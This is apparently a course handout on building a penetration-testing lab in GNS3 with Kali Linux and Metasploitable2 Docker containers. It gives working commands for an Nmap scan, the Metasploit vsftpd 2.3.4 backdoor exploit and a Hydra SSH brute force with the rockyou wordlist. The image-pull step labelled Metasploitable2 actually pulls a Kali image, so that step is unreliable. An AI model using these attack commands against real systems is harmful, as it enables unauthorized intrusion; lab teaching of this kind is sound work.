Session 4: Penetration Testing with Kali Linux Docker in GNS3

Objective:

By the end of this session, you will be able to set up a vulnerable system within GNS3, connect it with a Kali Linux Docker container, and perform penetration testing using three different tools: Nmap, Metasploit, and Hydra.

Prerequisites:

- Kali Linux installed.
- GNS3 installed and a basic network setup completed as per the previous session.
- Basic understanding of Docker.

Steps:

1. **Pull the Kali Linux Docker image:**

docker pull kalilinux/kali-linux-docker

2. **Pull a vulnerable system Docker image (e.g., Metasploitable2):**

docker pull kalilinux/kali-rolling

2. Setting Up GNS3 with Docker Containers

3. **Open GNS3 and create a new project.**
4. **Add Docker containers to GNS3:**
    - Go to Edit > Preferences > Docker containers.
    - Click on New to add a new Docker template.
    - Select Kali Linux from the drop-down menu or configure manually using the kalilinux/kali-linux-docker image.
    - Similarly, add the Metasploitable2 Docker image.
5. **Create the network topology:**
    - Drag and drop the Kali Linux Docker container onto the GNS3 workspace.
    - Drag and drop the Metasploitable2 Docker container onto the GNS3 workspace.
    - Connect the two containers using a switch.
6. **Start the containers:**
    - Right-click on each container and select Start.
7. **Configure network settings:**
    - Open the console for both containers.
    - Assign IP addresses to ensure they are in the same subnet.
        - Kali Linux: ifconfig eth0 192.168.1.2 netmask 255.255.255.0 up
        - Metasploitable2: ifconfig eth0 192.168.1.3 netmask 255.255.255.0 up
    - Ensure they can communicate:

ping 192.168.1.3 (from Kali)
ping 192.168.1.2 (from Metasploitable2)

3. Penetration Testing Tools

8. **Nmap:**
    - Use Nmap to scan the Metasploitable2 system for open ports and services:

bash
Copy code
```
nmap -sS -A 192.168.1.3
```

9. **Metasploit:**
    - Start Metasploit Framework:

```
msfconsole
```

    - Conduct a basic attack (e.g., using the vsftpd exploit):

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.1.3
exploit
```

10. **Hydra:**
    - Perform a brute force attack on an SSH service (if running):

```
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.3 ssh
```

4. Documentation and Reporting

11. **Document the findings:**
    - Record the steps taken, commands used, and results obtained for each tool.
    - Take screenshots of the process and the results.
12. **Create a report:**
    - Summarize the vulnerabilities found and the exploits used.
    - Provide recommendations for securing the vulnerable system.